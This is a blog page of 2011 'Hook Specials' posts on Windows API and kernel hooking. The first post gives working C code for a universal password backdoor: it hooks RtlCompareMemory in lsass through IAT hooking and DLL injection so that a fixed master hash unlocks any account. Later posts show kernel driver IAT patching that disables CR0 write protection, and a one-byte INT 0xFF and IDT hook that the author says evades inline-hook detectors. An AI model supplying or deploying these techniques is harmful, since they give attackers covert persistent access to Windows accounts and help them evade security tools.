Showing posts with label idt hook. Show all posts
Showing posts with label idt hook. Show all posts

Tuesday, August 23, 2011

Hook Specials 16 : Realize universal password back door of windows with IAT HOOK

Author:clyfish
Have Windows universal password?

First, We have really whether it can achieve such a back doo.

Course of Windows login gave a brief introduction.

Winlogon is got user name and password with gina.dll, Process of lsass is passed with LPC, Then msv1_0.dll is confirmed and is called by lsass.
And that msv1_0 get user imformations from sam,Include hash of password.


Realize the back door,First find int the bottom of login's confirmation, Then there do some things.

Clearly, The bottom of function is on msv1_0.dll of lsass.

The function is:


code:
msv1_0!LsaApLogonUserEx2
LsaApLogonUserEx2 in MSDN

We debug lsass-process ,Then break on msv1_0!LsaApLogonUserEx2.
I use windbg and vmware, Dbgsrv is used on user debug.。
http://blogs.msdn.com/spatdsg/archiv...27/507265.aspx

code:
dbgsrv.exe -t tcp:port=1234,password=spat
Then run on debugging client


code:
windbg.exe -premote tcp:server=192.168.1.102,port=1234,password=spat
Then attach lsass process.
But there run dbgsrv after login, For that dbgsrv is closed, So when Starting up, Dbgsrv is ran with task scheduler of windows.

After wirtual machine run,Dbgsrv already run, Then windbg join and attach to lsass.
Break msv1_0!LsaApLogonUserEx2, go.
Then log in,really is breoke by windbg.

When the time, Use wt the comamand, It can log all to be called fuctions's relationship .
I write script of python to export wt to treectrl



People notice mouse :ntdll!RtlCompareMemory。

The function is "the bottom of function".

代码:
SIZE_T
RtlCompareMemory(
IN CONST VOID *Source1,
IN CONST VOID *Source2,
IN SIZE_T Length
);
RtlCompareMemory in MSDN


Source1 Get password's Unicode md4 hass from sam.
Source2 User input password's Unicode md4 hash.
Length already 16, Because md4 hash is 16 bytes.

Under the function is replace it:

code:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
return 16;
return pRtlCompareMemory(a, b, len);
}

pRtlCompareMemory is gobal variable - real address of RtlCompareMemory, PASSWD_HASH is universal password hash.
Hook RtlCompareMemory use MyRtlCompareMemory to realize preconceted performance.

If compare 16 bytes and second memory is passed because alike our hash.

Hooke function to have many ways, I use simple way - IAT hook+dll inject.
As a result I write a small tool to inject dll:DllInject

code:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
InjectDll.exe (-i | -u | -U) pid filename
-i: Inject
-u: UnInject once
-U: UnInject at all

Monday, August 22, 2011

Hook Specials 15 : Study notes about Export table of driver is hooked

Author:Sysnap
The article is my notes and is pubilshed to study with rookies.Because I am rookie yet, Wrongs is showed and please corret to help me.

When API is called by my program,This like CreateWindowEx, Generate code on complied
call dword ptr
[__imp__CreateWindowExA@48],The address of API is save on__imp__CreateWindowExA@48 . When load and runing , __imp__CreateWindowExA@48 representing memory address, So if program is run, __imp__CreateWindowEx@48 is modified to us address,Program call CreateWindowEx, In fact call to jump our function, This is basic idea of IAT HOOK.
The article is about hook driver's iat, Please read iat of customer, had help to understand driver code, Because driver program is PE format as general exe program.
Under the code traverse export function onself, After that print it.

#include
#include
#include
#pragma comment(lib,"imagehlp.lib")

int main()
{

char *dll_name[30];
char* function_name[30];
HMODULE hInstance;
int outloop_index=0;

PIMAGE_THUNK_DATA thunk;
hInstance=GetModuleHandle(NULL);
IMAGE_DOS_HEADER *dosheader= (IMAGE_DOS_HEADER *)hInstance;
IMAGE_NT_HEADERS *ntheader= (IMAGE_NT_HEADERS *)((DWORD)hInstance + dosheader->e_lfanew);
IMAGE_DATA_DIRECTORY *pSymbolTable= &ntheader->OptionalHeader.DataDirectory[1];
IMAGE_IMPORT_DESCRIPTOR *pImportDesc =(IMAGE_IMPORT_DESCRIPTOR *)((DWORD)hInstance + pSymbolTable->VirtualAddress);

printf("the module is load at:%d\n",hInstance);
printf("the pointer to ImportDesc is: %d\n",pImportDesc);

while(pImportDesc ->FirstThunk)
{
dll_name[outloop_index]=(char*)((PBYTE)hInstance+pImportDesc->Name);
printf("------%s-------\n",dll_name[outloop_index]);
outloop_index++;

thunk=( PIMAGE_THUNK_DATA)((PBYTE)hInstance+ pImportDesc->OriginalFirstThunk);

int x=0;
while(thunk->u1.Function)
{
function_name[x]=(char*)((PBYTE)hInstance +
( DWORD)thunk->u1.AddressOfData+2);
printf("%s\n",function_name[x]);

x++;
thunk++;
}

pImportDesc++;
}

return 0 ;
}
OK, Get hInstance by hInstance=GetModuleHandle(NULL), hInstance represent base address of current program, If not have it, can't positioning to be called memory address of function ,

If We use HOOK C:\WINDOWS\SYSTEM32\test_sysnap.sys,test_sysnap.sys on driver,

The program is very simple , DPC is used to export string on time:
VOID Myroutine(IN PKDPC Dpc,IN PVOID DeferredContext,IN PVOID SystemArgument1,IN PVOID SystemArgument2)

{
HANDLE id=PsGetCurrentProcessId();

DbgPrint("the Current Process Id is:%x \n",id);

}
Test_sysnap.sys must be import PsGetCurrentProcessId, IAT HOOK the function, When System call Myrotine to execute PsGetCurrentProcessId, After that go to run on our program oneself.

hInstance is important, So IAT HOOK of driver, We must know to load to address of test_sysnap.sys. There use ZwQuerySystemInformation to get. The function isn't hooked,Ok first run test_sysnap.sys,The code last.
-----------------------------------------------------------------------------------------------------------------------
Driver program
#include "ntddk.h"
#include "hookiat.h"
#pragma comment(lib,"ntdll.lib")

PVOID GetDriverBaseAdress(char* driverName)
{
ULONG size,index;
PULONG buf;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;

ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);

if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
{
DbgPrint("failed alloc memory failed \n");
return 0;
}

status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status ))
{
DbgPrint("failed query\n");
return 0;
}

module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);

for (index = 0; index < *buf; index++)
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x\n",driverAddress);
}
ExFreePool(buf);
return driverAddress;
}


VOID Unload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unload Called \r\n");
}


NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{

PVOID base = NULL;
base = GetDriverBaseAdress("test_sysnap.sys.sys");
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}


Compile., Confirm real DbgPrint about address of test_sysnap.sys,/////ok,Our target seach call dword ptr
[__imp__PsGetCurrentProcessId@XX], Modify

First IAT is positioned and seach RAV of PsGetCurrentProcessId////, Last purpose is get (DWORD*)( (BYTE*)base + Thunk ) + RVA, modify ,Base is getted, then want to get Thunk and RVA,
First we use ZwOpenFile,ZwCreateSection,ZwMapViewOfSection etc functions to map test_sysnap.sys, The way is like user program to use CreateFile,CreateFileMapping,MapViewOfFile

PVOID CreateMapFileAndReturnBaseAddress(PUNICODE_STRING pDriverName)
{
HANDLE hFile;
//HANDLE hSection看需要在别的地方ZWclose(hSection),若不用.那定义成局部变量就可以了,或者做为数参数传递
char *pszModName;
PVOID MapFileBaseAddress = NULL;
SIZE_T size=0;
IO_STATUS_BLOCK stataus;
OBJECT_ATTRIBUTES oa ;

InitializeObjectAttributes(
&oa,
pDriverName,
OBJ_CASE_INSENSITIVE,
0,
0
);

ZwOpenFile(&hFile,
FILE_EXECUTE | SYNCHRONIZE,
&oa,
&stataus,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;

ZwCreateSection(&hSection,
SECTION_ALL_ACCESS,
&oa,
0,
PAGE_EXECUTE,
SEC_IMAGE,
hFile);
ZwMapViewOfSection(hSection,
PsGetCurrentProcessId(),
&MapFileBaseAddress,
0,
1024,
0,
&size,
ViewShare,
MEM_TOP_DOWN,
PAGE_READWRITE);
ZwClose(hFile);
DbgPrint("baseadress:%x\n",MapFileBaseAddress);
return MapFileBaseAddress;

}

Add function, DriverEntry add:
UNICODE_STRING driverName;
RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\drivers\\test_sysnap.sys");
BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);
DbgPrint("MapFile Return Address:%x",BaseAddress);
Compile , Not problem, GOOD, continue, hereto We get MapFileBaseAddress,Then Get ImageImportDescriptor by it.

DWORD GetImageImportDescriptorPointer(IN OUT HANDLE* hMod, IN OUT IMAGE_IMPORT_DESCRIPTOR** pImportDesc)
{

IMAGE_DOS_HEADER * dosheader;
IMAGE_OPTIONAL_HEADER * optheader;
PVOID BaseAddress = NULL;
UNICODE_STRING driverName;

RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\drivers\\test_sysnap.sys");
BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);
*hMod = BaseAddress;

dosheader= (IMAGE_DOS_HEADER *)BaseAddress;
optheader =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)BaseAddress+dosheader->e_lfanew+24);
*pImportDesc = (IMAGE_IMPORT_DESCRIPTOR *)((BYTE*)dosheader+ optheader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
if( NULL == (*pImportDesc)) return 0;
else
return 1;
DbgPrint("DataEntryAddress:%x\n",pImportDesc);

}
Compile, Not problem, hereto we get
MapFileBaseAddress和ImageImportDescriptor, then its is used to seach Thunk and RVA

DWORD GetFunctionThunkAndRav(IN char* lpFunctionName, IN char* lpFunctionLibrary, OUT DWORD* pThunk, OUT DWORD* pRVA)
{

HANDLE hMod;
IMAGE_IMPORT_DESCRIPTOR * pImportDesc;
IMAGE_THUNK_DATA* thunk;
char *pszModName;
DWORD firstThunkList;
DWORD ret;
BOOLEAN isOrdinal;
BOOLEAN foundIt;

int x=0;
SIZE_T size=0;

ret=GetImageImportDescriptorPointer(&hMod,&pImportDesc);
if(ret==0)
{
DbgPrint("GetImageImportDescriptorPointer return NULL");
return 0;
}

//Ergodi IMPORT DIRECTORY TABLE,Seanch ntoskrnl.exe associated IMAGE_IMPORT_DESCRIPTOR
while (pImportDesc->FirstThunk)
{
pszModName = (PSTR) ((PBYTE) hMod + pImportDesc->Name);
if (_stricmp(pszModName, lpFunctionLibrary) == 0 )
{
foundIt = TRUE;
DbgPrint("name:%s\n",pszModName);
break;
}
pImportDesc++;
}

if(foundIt==FALSE)
{
return 0;
}



//Get IMAGE_IMPORT_DESCRIPTOR of ntoskrnl.exe to get IAT, Can find export function on IAT

thunk = (IMAGE_THUNK_DATA*)( (BYTE*)hMod + pImportDesc->OriginalFirstThunk);
firstThunkList = (DWORD)((PBYTE)hMod + pImportDesc->FirstThunk);
foundIt = FALSE;
while(thunk->u1.Function)
{

isOrdinal = 0;
//IMAGE_THUNK_DATA is DWORD in fact, Either is Ordinal, or AddressOfData
if(thunk->u1.Function >= 0x01000000) isOrdinal = TRUE;
if(!isOrdinal) // 以名字到处而不是序号
{
//IMAGE_IMPORT_BY_NAME
char* functionName = (char*)( (BYTE*)hMod + (DWORD)thunk->u1.AddressOfData + 2 );
if (_stricmp(functionName, lpFunctionName) == 0 )
{
*pThunk = pImportDesc->FirstThunk;
*pRVA = x;
DbgPrint("%x",( DWORD *)((PBYTE)hMod +pImportDesc->FirstThunk)+x);
ZwClose(hSection);
return 1;
}
}
if(isOrdinal)
{
ZwClose(hSection);
return (DWORD) NULL;
}

x++;
thunk++;
firstThunkList++;
}


if(foundIt==FALSE)
{
ZwClose(hSection);
return 0;
}
ZwClose(hSection);
return 0;

}

Add the function, Chesck this function , Not problem, We already get (DWORD*)( (BYTE*)base + Thunk ) + RVA, Hereto is final work , modify
g_FunctionInMemory = (DWORD*)( (BYTE*)base + Thunk ) + RVA;
.
.
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}

*(PVOID*)g_FunctionInMemory = MyPsGetCurrentProcessId;
DbgPrint("HOOK SUCESS");
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}

Thursday, August 11, 2011

Hook Specials 4: combine inline hook with idt hook

Author:Sysnap
   Inline hook is to modify some bytes of a fuction for jump instruction go to funtions oneself to execute......

   IDT HOOK is to modify entry fuction for normal exception handling on IDT table be do function's address oneself.

   Put the two ideas of thoughts is combined - """"one byte's hook""""
   Watch:

    nt!NtOpenFile:
    80579fd0 8bff            mov     edi,edi
    80579fd2 55              push    ebp
    80579fd3 8bec            mov     ebp,esp

    No problem is do inline hook the funtion.....But there only modify one byte...So that isn't inline hook 

    mov     edi,edi The Opcode is 8bff...........We modify 8b to 0xCD.....Then executed
    Then nt!NtOpenFile.....The mean executed 0xCD 0xFF and the opcode is INT 0XFF...Ah.....Then exception is occur......Goto dispose exception handling of INT 0XFF的............We can IDT HOOK INT 0XFF.........So our function onself is executed

     Summarizes:::The way can bypass many of tools about inline hook now...Because We modified one byte of function's start...In essence,That isn's inline hook,Because without jmp.....

     But modified IDT.....Need DUMP IDT for realize to have exception  ..........So dectect IDT is important....The table is used for virus....Except that,""""one byte hook"""""and keyboard record...Ban debug etc..........